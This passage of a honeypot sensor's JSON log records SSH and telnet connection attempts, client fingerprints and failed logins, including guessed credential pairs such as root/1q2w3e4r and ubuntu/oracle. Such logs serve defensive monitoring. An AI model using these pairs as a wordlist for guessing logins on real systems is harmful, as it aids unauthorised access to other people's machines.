"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:11.338409Z","src_ip":"122.168.114.167","session":"d895bbabcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.51166558265686,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:14.898068Z","src_ip":"185.26.126.47","session":"b0073cfadf4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":36398,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d1941a286c","protocol":"ssh","message":"New connection: 106.75.222.164:36398 (10.17.0.5:22) [session: 69d1941a286c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:44.756528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:44.761570Z","src_ip":"106.75.222.164","session":"69d1941a286c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:45.015749Z","src_ip":"106.75.222.164","session":"69d1941a286c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"st","password":"admin@123","message":"login attempt [st/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:46.051913Z","src_ip":"106.75.222.164","session":"69d1941a286c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:47.305357Z","src_ip":"106.75.222.164","session":"69d1941a286c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:49.127361Z","src_ip":"122.168.114.167","session":"d895bbabcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39232,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9312da51d87","protocol":"ssh","message":"New connection: 122.168.114.167:39232 (159.203.135.109:22) [session: f9312da51d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:49.811401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:56.816348Z","src_ip":"122.168.114.167","session":"f9312da51d87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:56.823703Z","src_ip":"122.168.114.167","session":"f9312da51d87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"51.3","message":"Connection lost after 51.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:57.555875Z","src_ip":"122.168.114.167","session":"d895bbabcbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":52672,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e075be343e","protocol":"ssh","message":"New connection: 148.230.169.229:52672 (10.17.0.5:22) [session: a8e075be343e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:01.318789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:01.344352Z","src_ip":"148.230.169.229","session":"a8e075be343e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:01.405529Z","src_ip":"148.230.169.229","session":"a8e075be343e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin4","password":"admin4","message":"login attempt [admin4/admin4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:01.667188Z","src_ip":"148.230.169.229","session":"a8e075be343e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:02.745780Z","src_ip":"148.230.169.229","session":"a8e075be343e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:25.961248Z","src_ip":"122.168.114.167","session":"f9312da51d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41628,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c558123d391","protocol":"ssh","message":"New connection: 122.168.114.167:41628 (159.203.135.109:22) [session: 0c558123d391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:30.541183Z"}
{"eventid":"cowrie.session.closed","duration":"44.0","message":"Connection lost after 44.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:33.818168Z","src_ip":"122.168.114.167","session":"f9312da51d87","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:36.899897Z","src_ip":"122.168.114.167","session":"0c558123d391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:36.903953Z","src_ip":"122.168.114.167","session":"0c558123d391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140571594238,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:51.133385Z","src_ip":"200.86.233.40","session":"a9cbc97e89e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":37070,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a9e14b7227","protocol":"ssh","message":"New connection: 103.97.179.160:37070 (10.17.0.5:22) [session: f0a9e14b7227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:52.029968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:52.034310Z","src_ip":"103.97.179.160","session":"f0a9e14b7227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:52.268759Z","src_ip":"103.97.179.160","session":"f0a9e14b7227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00090980529785,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:53.034472Z","src_ip":"200.86.233.40","session":"6d11e516fff5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle","message":"login attempt [ubuntu/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:53.194168Z","src_ip":"103.97.179.160","session":"f0a9e14b7227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:59:54.412568Z","src_ip":"103.97.179.160","session":"f0a9e14b7227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:07.590563Z","src_ip":"122.168.114.167","session":"0c558123d391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5d2ae33d894","protocol":"ssh","message":"New connection: 122.168.114.167:44042 (159.203.135.109:22) [session: f5d2ae33d894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:09.526939Z"}
{"eventid":"cowrie.session.closed","duration":"46.6","message":"Connection lost after 46.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:17.124924Z","src_ip":"122.168.114.167","session":"0c558123d391","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:17.717356Z","src_ip":"122.168.114.167","session":"f5d2ae33d894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:17.722909Z","src_ip":"122.168.114.167","session":"f5d2ae33d894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.50.70.34","src_port":50584,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3fc9544a38","protocol":"telnet","message":"New connection: 111.50.70.34:50584 (159.203.135.109:23) [session: 4e3fc9544a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:40.742741Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":52550,"dst_ip":"10.17.0.5","dst_port":22,"session":"01883d254b99","protocol":"ssh","message":"New connection: 103.97.179.160:52550 (10.17.0.5:22) [session: 01883d254b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:47.829498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:47.834493Z","src_ip":"103.97.179.160","session":"01883d254b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46430,"dst_ip":"159.203.135.109","dst_port":22,"session":"476727853d3f","protocol":"ssh","message":"New connection: 122.168.114.167:46430 (159.203.135.109:22) [session: 476727853d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:47.989412Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:48.082602Z","src_ip":"103.97.179.160","session":"01883d254b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.60.136.40","src_port":48212,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a855516ea40","protocol":"ssh","message":"New connection: 123.60.136.40:48212 (10.17.0.5:22) [session: 6a855516ea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:48.916789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:48.921366Z","src_ip":"123.60.136.40","session":"6a855516ea40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"010203","message":"login attempt [test/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:48.983760Z","src_ip":"103.97.179.160","session":"01883d254b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:49.150145Z","src_ip":"123.60.136.40","session":"6a855516ea40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:49.310286Z","src_ip":"122.168.114.167","session":"f5d2ae33d894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:50.201580Z","src_ip":"103.97.179.160","session":"01883d254b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc4rfv","message":"login attempt [git/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:50.763193Z","src_ip":"123.60.136.40","session":"6a855516ea40","protocol":"ssh"}
